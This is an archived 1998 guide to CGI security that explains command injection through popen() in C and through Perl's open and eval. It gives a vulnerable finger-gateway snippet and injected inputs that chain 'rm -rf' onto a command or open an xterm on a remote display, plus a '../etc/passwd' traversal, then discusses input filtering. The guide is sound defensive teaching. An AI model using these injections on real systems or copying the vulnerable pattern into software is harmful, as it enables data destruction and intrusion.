Документ взят из кэша поисковой машины. Адрес оригинального документа : http://hea-www.harvard.edu/~fine/CFA/raw/CGI-security-guidelines
Дата изменения: Tue Dec 1 19:08:49 1998
Дата индексирования: Sun Feb 3 14:59:07 2013
Кодировка:

Поисковые слова: m 8
The most common security vulnerability in CGI programs is that the remote
user is able to trick the CGI into running programs by cleverly entering
them in the WWW Form. The best way to illustrate the problem is with a
few different examples.

C example
---------

The most well-known example exploits a common implementation of the UNIX
popen() call, and affects primarily C programs. popen() allows the
programmer to start up a command, and read from or write to it as if it
were a file. The most common implementation of popen() starts a shell
program and passes the entire command to that shell to be run.

Now imagine a CGI that uses popen to process user input. This simple
example is a portion of the code to provide web access to the finger program:

sprintf(command, "finger %s", userinput);
fp=popen(command,"r"); /* "r" means we will read from the command */

The person on the web enters a local username, and finger will be run on
that person. If they enter "joe", then "finger joe" will be run and the
results returned. If they enter "joe; cd /; /bin/rm -rf *", then the
command that will be run is
"finger joe; cd /; /bin/rm -rf *"

If the web server is running as root, your entire local file system is
destroyed. Carriage returns or line feeds may be substituted for the
semicolons to achieve the same affect. Or pipe symbols, or ampersands.
Depending on implementation
of the popen() call, other special shell characters may also be interpreted,
for instance the user could enter "joe `xterm -display foo:0`" with the
hope of having everything inside of the backticks executed.

popen() is not the only problem - be careful of using user input anywhere,
and think of how the user might exploit the situation. For instance,
if the user input is used as a directory path element in an open() call
then the user could enter "../../../../../etc/passwd", and end up with
a copy of the password file, instead of the intended file.


Perl Script example
-------------------
Perl has the same problem with it's open command the C has with popen.
The perl open allows pipes to be opened, and will gladly interpret user
input as if it were perl syntax. The set of problem characters is
similar.

In addition, perl has a very handy eval statement. eval lets you take
a string and execute it as if it were perl instructions.


Bourne Shell example
--------------------


Approaches to dealing with the problem
--------------------------------------
One approach would be to come up with a list of all possible trouble makers,
and strip them out or reject requests that include them. One problem with
this approach is you might tend to forget one of them, because the list
is not trivial. Depending on circumstances, slashes, backslashes, quotes,
the question mark, even the comma may cause unexpected behaviour in a program
that didn't plan for it.

You could approach it from the other end - make the screening specific to
it's intended use - for instance only allow numbers in a numeric field, or
only allow letters in names. This is fine, if the field doesn't need to
have special characters, but what if you have a form where the user needs
those characters?

The best approach is simply to avoid at all cost calling outside programs
or performing evals anywhere in a CGI.